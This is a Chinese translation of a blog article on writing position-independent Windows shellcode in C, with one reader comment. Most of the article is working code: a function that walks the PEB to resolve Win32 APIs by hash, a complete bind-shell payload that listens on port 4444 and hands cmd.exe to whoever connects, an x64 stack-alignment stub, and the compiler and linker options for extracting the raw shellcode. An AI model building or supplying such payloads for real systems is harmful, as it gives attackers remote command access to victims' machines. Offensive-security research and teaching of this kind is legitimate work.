用C语言进一步优化Windows Shellcode

2014-02-28 262366人围观 ,发现 5 个不明物体 系统安全

引言

我得首先承认,编写shellcode真是让人郁闷极了。虽然可以利用些小技巧来减小payload的大小,但编写shellcode仍然会错误百出,难以维护。例如,我发现跟踪x86中寄存器的分配,确保x86_64栈的对齐真的是件蛋疼的事。最终我还是腻了,但回头想想:为啥就不能用C写shellcode payload,让编译器和链接器来接管处理剩下的活呢?这样的话,只需写一次payload,就能运用到任何的体系结构上————像x86、x86_64以及ARM这些。同时,也可以获得如下的好处:

1. 运用静态分析工具分析payload
2. 进行单元测试
3. 利用编译器、链接器来优化payload
4. 编译器在速度、大小方面的优化比你在行
5. 利用Visual Studio来写payload,智能化万岁!

考虑到已经写了许多Windows下的shellcode,我决定挑战一下仅用微软工具来生成位置无关的shellcode。可最基本的问题是,微软的C编译器cl.exe无法生成位置无关的代码(除了面向Itanium的Visual C++编译器)。终究,我们需要依赖C代码的技巧和一些精心配置的编译器、链接器选项来完成任务。

Shellcode的根本

编写shellcode时,无论是用C还是汇编,以下是必须要注意的地方:

1、必须位置无关

多数情况下,你无法提前知晓你的shellcode被加载到何处。所以,所有的分支指令以及那些对内存解引用的指令,都必须相对于加载的基址得以执行。gcc编译器有生成位置独立代码的选项,但很不幸,微软的编译器没有。

2、Payload需要自己解析外部引用

如果想要payload做些有用的事,就需要调用Win32 API函数。一般在可执行文件中,对外部符号的引用通过这样的方式得到:要么是加载器启动时遍历导入表获取的,要么就是运行时通过GetProcAddress动态获取。而Shellcode既不能被加载器加载,也不能调用GetProcAddress,因为它压根不知道kernel32!GetProcAddress的地址,典型的先有鸡还是先有蛋的难题啊。

为了获取到库函数的地址,shellcode只能靠自己。在shellcode中,典型的解决方法是:某函数以32位的模块hash和函数名hash作为形参,获取到PEB(进程环境块)地址,遍历已加载模块的链表,扫描每个模块的导出函数表,对每个函数名进行hash,并同提供的hash进行比对,如果匹配找到了,那么通过加载模块的基址加上RVA即可获取函数地址。很显然,这里为了节省篇幅,我省略了该过程的很多细节,不过这些已经被广泛的使用(如Metasploit),也有很好的文档说明。

3、Payload需要处理好栈和寄存器的状态,及时的保存、恢复

这些在我们用C写payload时,就由编译器自动的完成了。

用C实现的GetProcAddressWithHash函数

上面提到的下载中,GetProcAddressWithHash函数用于获取Win32 API导出函数的地址,由汇编版的Metasploit block_api调整而来:

#include <windows.h>
#include <winternl.h>
 
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
 
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
 BOOL Initialized;
 PVOID SsHandle;
 LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
 LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
 
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
 LIST_ENTRY InLoadOrderLinks;
 LIST_ENTRY InMemoryOrderLinks;
 LIST_ENTRY InInitializationOrderLinks;
 PVOID DllBase;
 PVOID EntryPoint;
 ULONG SizeOfImage;
 UNICODE_STRING FullDllName;
 UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
 
HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
{
 PPEB PebAddress;
 PMY_PEB_LDR_DATA pLdr;
 PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
 PVOID pModuleBase;
 PIMAGE_NT_HEADERS pNTHeader;
 DWORD dwExportDirRVA;
 PIMAGE_EXPORT_DIRECTORY pExportDir;
 PLIST_ENTRY pNextModule;
 DWORD dwNumFunctions;
 USHORT usOrdinalTableIndex;
 PDWORD pdwFunctionNameBase;
 PCSTR pFunctionName;
 UNICODE_STRING BaseDllName;
 DWORD dwModuleHash;
 DWORD dwFunctionHash;
 PCSTR pTempChar;
 DWORD i;
 
#if defined(_WIN64)
 PebAddress = (PPEB) __readgsqword( 0x60 );
#elif defined(_M_ARM)
 // I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
 // necessary to get the PEB.Ldr address
 PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
 __emit( 0x00006B1B );
#else
 PebAddress = (PPEB) __readfsdword( 0x30 );
#endif
 
 pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
 pNextModule = pLdr->InLoadOrderModuleList.Flink;
 pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
 
 while (pDataTableEntry->DllBase != NULL)
 {
  dwModuleHash = 0;
  pModuleBase = pDataTableEntry->DllBase;
  BaseDllName = pDataTableEntry->BaseDllName;
  pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
  dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
 
  // Get the next loaded module entry
  pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
 
  // If the current module does not export any functions, move on to the next module.
  if (dwExportDirRVA == 0)
  {
   continue;
  }
 
  // Calculate the module hash
  for (i = 0; i < BaseDllName.MaximumLength; i++)
  {
   pTempChar = ((PCSTR) BaseDllName.Buffer + i);
 
   dwModuleHash = ROTR32( dwModuleHash, 13 );
 
   if ( *pTempChar >= 0x61 )
   {
    dwModuleHash += *pTempChar - 0x20;
   }
   else
   {
    dwModuleHash += *pTempChar;
   }
  }
 
  pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
 
  dwNumFunctions = pExportDir->NumberOfNames;
  pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
 
  for (i = 0; i < dwNumFunctions; i++)
  {
   dwFunctionHash = 0;
   pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
   pdwFunctionNameBase++;
 
   pTempChar = pFunctionName;
 
   do
   {
    dwFunctionHash = ROTR32( dwFunctionHash, 13 );
    dwFunctionHash += *pTempChar;
    pTempChar++;
   } while (*(pTempChar - 1) != 0);
 
   dwFunctionHash += dwModuleHash;
 
   if (dwFunctionHash == dwModuleFunctionHash)
   {
    usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
    return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
   }
  }
 }
 
 // All modules have been exhausted and the function was not found.
 return NULL;
}

从上到下,有几点需要注意:

1. 我定义了ROTR32宏

Metasploit版本的实现中使用了一个循环右移hash函数,可在C中没有循环右移的运算符。有几个循环右移的编译器指令,但无法在不同的处理器体系结构中保持一致。ROTR32宏定义利用了C语言中可用的逻辑运算符实现了循环右移的功能。更酷的是,编译器会晓得该宏实现循环右移的操作,并将其编译成单条循环右移汇编指令。真是太棒了!

2. 我重定义了结构体

这两个结构体在winternl.h中都有定义,但微软的公开定义不完整,所以我按照自己所需进行了重定义。

3. 根据所针对的处理器体系结构选择不同的方法来获取PEB地址

PEB地址的获取是获取导出函数地址的第一步。PEB是个结构体,它包含了几个指向进程已加载模块的指针。在x86和x86_64中,PEB地址可分别通过解引用fs、gs段寄存器的某个偏移获取。在ARM上,通过读取系统控制处理器(CP15)中特定的寄存器获取。幸运的是,编译器内置了对每个处理器体系结构的处理。不管怎样,编译器无法生成正确的ARM汇编指令,所以我以不合常规的方式对指令进行了调整。

用C实现基本的Payload

这里我用一个简单的bind shell payload为例,下面是我用C的实现:

#define WIN32_LEAN_AND_MEAN
 
#pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'
 
#include "GetProcAddressWithHash.h"
#include "64BitHelper.h"
#include <windows.h>
#include <winsock2.h>
#include <intrin.h>
 
#define BIND_PORT 4444
#define HTONS(x) ( ( (( (USHORT)(x) ) >> 8 ) & 0xff) | ((( (USHORT)(x) ) & 0xff) << 8) )
 
// Redefine Win32 function signatures. This is necessary because the output
// of GetProcAddressWithHash is cast as a function pointer. Also, this makes
// working with these functions a joy in Visual Studio with Intellisense.
typedef HMODULE (WINAPI *FuncLoadLibraryA) (
 _In_z_ LPTSTR lpFileName
);
 
typedef int (WINAPI *FuncWsaStartup) (
 _In_ WORD wVersionRequested,
 _Out_ LPWSADATA lpWSAData
);
 
typedef SOCKET (WINAPI *FuncWsaSocketA) (
 _In_  int af,
 _In_  int type,
 _In_  int protocol,
 _In_opt_ LPWSAPROTOCOL_INFO lpProtocolInfo,
 _In_  GROUP g,
 _In_  DWORD dwFlags
);
 
typedef int (WINAPI *FuncBind) (
 _In_ SOCKET s,
 _In_ const struct sockaddr *name,
 _In_ int namelen
);
 
typedef int (WINAPI *FuncListen) (
 _In_ SOCKET s,
 _In_ int backlog
);
 
typedef SOCKET (WINAPI *FuncAccept) (
 _In_  SOCKET s,
 _Out_opt_ struct sockaddr *addr,
 _Inout_opt_ int *addrlen
);
 
typedef int (WINAPI *FuncCloseSocket) (
 _In_ SOCKET s
);
 
typedef BOOL (WINAPI *FuncCreateProcess) (
 _In_opt_ LPCTSTR lpApplicationName,
 _Inout_opt_ LPTSTR lpCommandLine,
 _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
 _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
 _In_  BOOL bInheritHandles,
 _In_  DWORD dwCreationFlags,
 _In_opt_ LPVOID lpEnvironment,
 _In_opt_ LPCTSTR lpCurrentDirectory,
 _In_  LPSTARTUPINFO lpStartupInfo,
 _Out_  LPPROCESS_INFORMATION lpProcessInformation
);
 
typedef DWORD (WINAPI *FuncWaitForSingleObject) (
 _In_ HANDLE hHandle,
 _In_ DWORD dwMilliseconds
);
 
// Write the logic for the primary payload here
// Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT
// Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue.
VOID ExecutePayload( VOID )
{
 FuncLoadLibraryA MyLoadLibraryA;
 FuncWsaStartup MyWSAStartup;
 FuncWsaSocketA MyWSASocketA;
 FuncBind MyBind;
 FuncListen MyListen;
 FuncAccept MyAccept;
 FuncCloseSocket MyCloseSocket;
 FuncCreateProcess MyCreateProcessA;
 FuncWaitForSingleObject MyWaitForSingleObject;
 WSADATA WSAData;
 SOCKET s;
 SOCKET AcceptedSocket;
 struct sockaddr_in service;
 STARTUPINFO StartupInfo;
 PROCESS_INFORMATION ProcessInformation;
 // Strings must be treated as a char array in order to prevent them from being stored in
 // an .rdata section. In order to maintain position independence, all data must be stored
 // in the same section. Thanks to Nick Harbour for coming up with this technique:
 // http://nickharbour.wordpress.com/2010/07/01/writing-shellcode-with-a-c-compiler/
 char cmdline[] = { 'c', 'm', 'd', 0 };
 char module[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };
 
 // Initialize structures. SecureZeroMemory is forced inline and doesn't call an external module
 SecureZeroMemory(&StartupInfo, sizeof(StartupInfo));
 SecureZeroMemory(&ProcessInformation, sizeof(ProcessInformation));
 
 #pragma warning( push )
 #pragma warning( disable : 4055 ) // Ignore cast warnings
 // Should I be validating that these return a valid address? Yes... Meh.
 MyLoadLibraryA = (FuncLoadLibraryA) GetProcAddressWithHash( 0x0726774C );
 
 // You must call LoadLibrary on the winsock module before attempting to resolve its exports.
 MyLoadLibraryA((LPTSTR) module);
 
 MyWSAStartup = (FuncWsaStartup) GetProcAddressWithHash( 0x006B8029 );
 MyWSASocketA = (FuncWsaSocketA) GetProcAddressWithHash( 0xE0DF0FEA );
 MyBind = (FuncBind) GetProcAddressWithHash( 0x6737DBC2 );
 MyListen = (FuncListen) GetProcAddressWithHash( 0xFF38E9B7 );
 MyAccept = (FuncAccept) GetProcAddressWithHash( 0xE13BEC74 );
 MyCloseSocket = (FuncCloseSocket) GetProcAddressWithHash( 0x614D6E75 );
 MyCreateProcessA = (FuncCreateProcess) GetProcAddressWithHash( 0x863FCC79 );
 MyWaitForSingleObject = (FuncWaitForSingleObject) GetProcAddressWithHash( 0x601D8708 );
 #pragma warning( pop )
 
 MyWSAStartup( MAKEWORD( 2, 2 ), &WSAData );
 s = MyWSASocketA( AF_INET, SOCK_STREAM, 0, NULL, 0, 0 );
 
 service.sin_family = AF_INET;
 service.sin_addr.s_addr = 0; // Bind to 0.0.0.0
 service.sin_port = HTONS( BIND_PORT );
 
 MyBind( s, (SOCKADDR *) &service, sizeof(service) );
 MyListen( s, 0 );
 AcceptedSocket = MyAccept( s, NULL, NULL );
 MyCloseSocket( s );
 
 StartupInfo.hStdError = (HANDLE) AcceptedSocket;
 StartupInfo.hStdOutput = (HANDLE) AcceptedSocket;
 StartupInfo.hStdInput = (HANDLE) AcceptedSocket;
 StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
 StartupInfo.cb = 68;
 
 MyCreateProcessA( 0, (LPTSTR) cmdline, 0, 0, TRUE, 0, 0, 0, &StartupInfo, &ProcessInformation );
 MyWaitForSingleObject( ProcessInformation.hProcess, INFINITE );
}

写payload时,有几点我需要提醒一下,以便满足位置无关代码的需求:

1. 我把HTONS定义成了宏

将其定义为宏,相对于调用ws2_32.dll!htons会更简单一点。此外,HTONS本身所做的就是将USHORT从主机序转化为网络序,所以定义为宏会更合适点。

2. 另定义了Win32 API函数

这是必须的,因为GetProcAddressWithHash的调用需要转换为函数指针。此外,在Visual Studio中调用这些函数指针就和调用普通的Win32函数一样方便。这是用汇编编写时的边猜测、边检查所不能比的。

3. ExecutePayload函数实现了bind shell的基本逻辑功能

通常都需要调用main函数。我所遇到的一个问题就是,当链接器发现main函数时,就会链接C运行库。很明显,shellcode不应该也没必要用C运行库。所以,将入口点命名为main之外的名称,并显式地告诉链接器入口点函数,以免链接了C运行时库。

4. 将”cmd”和”ws2_32.dll”显式地声明为null结尾的字符数组

该方法首先由Nick Harbour提出,使得编译器在栈区保存字符串。默认地,字符串存储在二进制文件的.rdata段中,任何对这些的字符的引用都在可执行文件中进行了重定位。将字符串存放在栈区,使得引用做到了位置无关。

5. SecureZeroMemory用于初始化栈区变量

SecureZeroMemory功能和memset一样,是内联函数,所以省得我花力气去获取memset的地址了。

6. Payload中剩余部分就是一般的C了,只不过有点恶意而已。

确保64位Shellcode中的栈对齐

32位体系结构(如x86和ARMv7)要求函数调用时栈上4字节对齐。Shellcode以4字节对齐这一点是可以得到保证的。而64位的shellcode,需要16字节的栈对齐。这是由使用128位XMM寄存器所决定的。已写过64位shellcode的朋友可能经历过调用Win32函数时因指令使用了XMM寄存器而crash的情况,这正是栈没有对齐的缘故。

可执行文件加载时在C运行库初始化期间得到了对齐,而shellcode就没这么幸运了。所以我写了一小段汇编来确保shellcode在64位机器上能够正确的栈对齐。在Visual Studio编译前,我将此shellcode用mI64进行了汇编,并把所得目标文件作为链接的一部分。

下面是对齐的实现代码:

EXTRN ExecutePayload:PROC
PUBLIC  AlignRSP   ; Marking AlignRSP as PUBLIC allows for the function
     ; to be called as an extern in our C code.
 
_TEXT SEGMENT
 
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you can't be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.
 
AlignRSP PROC
 push rsi    ; Preserve RSI since we're stomping on it
 mov  rsi, rsp  ; Save the value of RSP so it can be restored
 and  rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
 sub  rsp, 020h  ; Allocate homing space for ExecutePayload
 call ExecutePayload ; Call the entry point of the payload
 mov  rsp, rsi  ; Restore the original value of RSP
 pop  rsi    ; Restore RSI
 ret      ; Return to caller
AlignRSP ENDP
 
_TEXT ENDS
 
END

在这里,保存了原始栈值,将栈指针RSP进行与操作,以便获得16字节对齐,分配空间,然后调用原来的入口函数ExecutePayload。

还用C写了一个小的函数来调用AlignRSP:

#if defined(_WIN64)
extern VOID AlignRSP( VOID );
 
VOID Begin( VOID )
{
 // Call the ASM stub that will guarantee 16-byte stack alignment.
 // The stub will then call the ExecutePayload.
 AlignRSP();
}
#endif

这个函数将作为链接器指定的入口函数,稍后我来简单的解释下为何该函数是必须的。

编译Shellcode

在Visual Studio 2012项目中使用如下的编译器命令行编译选项

/GS- /TC /GL /W4 /O1 /nologo /Zl /FA /Os

这里将每个选项都解释一下,它们影响着生成的shellcode:

/GS-: 禁用栈区缓冲溢出检查。如果开启了,会调用外部的栈区处理函数,破坏了shellcode的位置无关性。

/TC: 告诉编译器将所有文件当作C源码文件。该选项的隐含意思是所有的局部变量都要定义在函数的开头,否则,编译时会出错。

/GL:对程序进行整体优化。该选项告诉链接器(通过/LTGC选项)在函数调用间进行优化。这里我想对shellcode进行完全的优化。

/W4:开启最高的告警等级。这是好的习惯。

/O1: 获取较小而非快的代码,这正是shellcode的理想情况。

/FA: 输出汇编列表文件。这不是必须的,我比较喜欢对编译器生成的汇编代码进行验证。

/Zl: 从目标文件中去除默认的C运行库,这是告诉链接器不要链接C运行库。

/Os: 另一种让编译器生成小代码的方式。

Shellcode的链接

下面的链接器(linker.exe)选项分别用于x86/ARM和x86_64:

/LTCG /ENTRY:"ExecutePayload" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB

/LTCG "x64\Release\\AdjustStack.obj" /ENTRY:"Begin" /OPT:REF /SAFESEH:NO /SUBSYSTEM:CONSOLE /MAP /ORDER:@"function_link_order64.txt" /OPT:ICF /NOLOGO /NODEFAULTLIB

这里将每个选项都来解释一下,它们影响着生成的shellcode。

/LTCG:开启链接器的全部优化功能。编译器在函数间调用优化方面几乎不起作用,这是因为编译器是以函数为基础的。所以,链接器就很适合进行函数间调用的优化,因为它处理所有由编译器生成的目标文件。

/ENTRY: 指定文件的入口点。在x86和ARM中就是实现bind shell逻辑的ExecutePayload函数。而在x86_64中,则是Begin函数,它调用AlignRSP函数进行栈对齐操作。它之所以是必须的,是因为最终要生成shellcode, 我们不得不通过/ORDER显式地设置链接顺序。而在微软的链接器中是不允许你为外部函数指定链接顺序的。为了解决该问题,我简单的将AlignRSP进行了封装。Begin作为链接的第一个函数。这样,它就是shellcode中第一个调用的。

/OPT: REF:清除那些从未使用的函数、数据。我们希望shellcode越小越好。通过该选项就可以通过清除无用的函数、数据来减小shellcode大小。

/SAFESEH:NO:不生成SafeSEH处理程序。Shellcode没有必要注册异常处理。

/SUBSYSTEM:CONSOLE:只要shellcode能运行,是啥子系统就无所谓了。设置成“CONSOLE”,可以利用命令行进行测试。

/MAP: 生成map文件。该文件用于获取shellcode的大小。

/ORDER:因为要生成shellcode,所以函数链接的顺序就尤为重要。起初我以为入口点函数会是第一个链接的。但并不是这样的。/ORDER选项指定了一个包含函数链接顺序的文件。你会发现文件中列表的第一个就是入口点函数。

/OPT:ICF:删除冗余的函数。为可选项。

/NODEFAULTLIB: 显式的告诉链接器在解析外部引用时,不要使用默认的库。如果你在代码中有外部引用,该选项就非常有用了。 链接器会抛出错误,引起你的注意。

提取Shellcode

代码编译、链接之后,最后一步就是从exe文件中提取出shellcode了。这需要一个解析PE文件的工具,从代码段中提取出相关字节。 方便的是,Get-PEHeader已经解决了此问题。要说明的一点是如果你要提取出整个的代码段,剩下的会被0填充掉。所以我写了另外一个脚本来解析map文件,它包含了代码段中的实际长度。

如果大伙喜欢分析PE文件,好好的分析一下所生成的exe文件真的很值得。仅包含代码段,可选头的数据目录中没有任何的数据。这正是我所追寻的——没有任何重定位,额外的节或者导入表的二进制文件。

编译PIC_Binshell

提供的PIC_Bindshell.zip中有个Visual Studio 2012项目,在VS2012 Express和旗舰版中测试通过。在Visual Studio中加载sln文件,选择相应的体系结构,然后编译。输出一个exe文件和一个shellcode payload文件。

Visual Studio 2012的Express版本不支持对ARM的编译。如果你是第一次编译ARM,会出现如下的错误:

C:\Program Files (x86)\MSBuild\Microsoft.Cpp\v4.0\V110\Platforms\ARM\PlatformToolsets\v110\Microsoft.Cpp.ARM.v110.targets(36,5): error MSB8022: Compiling Desktop applications for the ARM platform is not supported.

从“C:\Program Files(x86)\Microsoft Visual Studio 11.0\VC\includecrtdefs.h”中删除下面一行:

#error Compiling Desktop applications for the ARM platform is not supported.

删除这些行,重启Visual Studio,就解决了。

写在最后

对微软编译器、链接器的协同工作有个深刻的理解能帮我们用C写出完全优化的Windows Shellcode,同时能够支持任意的处理器架构。但这并不是说你就没有必要去深刻理解汇编语言。只是我们没必要浪费时间一点点的写大量的汇编代码。同时我也相信编译器有一天会胜过大脑的。

对了,我的64位shellcode中用到了XMM寄存器,你用了吗?

来源声明:本文来自exploit-monday的博文《Writing Optimized Windows Shellcode in C》,由IDF实验室徐文博翻译。

这些评论亮了

  • anlfi (5级) 回复
    请不要在意本楼的存在
    shellcode的精简优化嘛
    首先C完以后 反编译为asm 再小幅度手动优化
    取hash 可以大幅缩短shellcode 长度 进行编码加密
    而这篇文章是修改C代码以及编译参数来优化
    的确是优化了 但是足够短小精悍吗 我觉得后面还有一点没有写出来
    那就是细节的处理
    编译器语言的确是方便了处理 但最终你的代码看起来反而更接近汇编代码了嘛 只是变得便于解读了
    "编译器有一天会胜过大脑" 你是说人工智能吗 能够自己编译自己的程序?呵呵
    不管怎么说coder还是以自己的方式让机械理解嘛
    一个目标和一个设定好的结果 可以一句话 也可以一段话 但始终不是它自己的意思
    )9( 亮了
发表评论

已有 4 条评论

取消
Loading...
css.php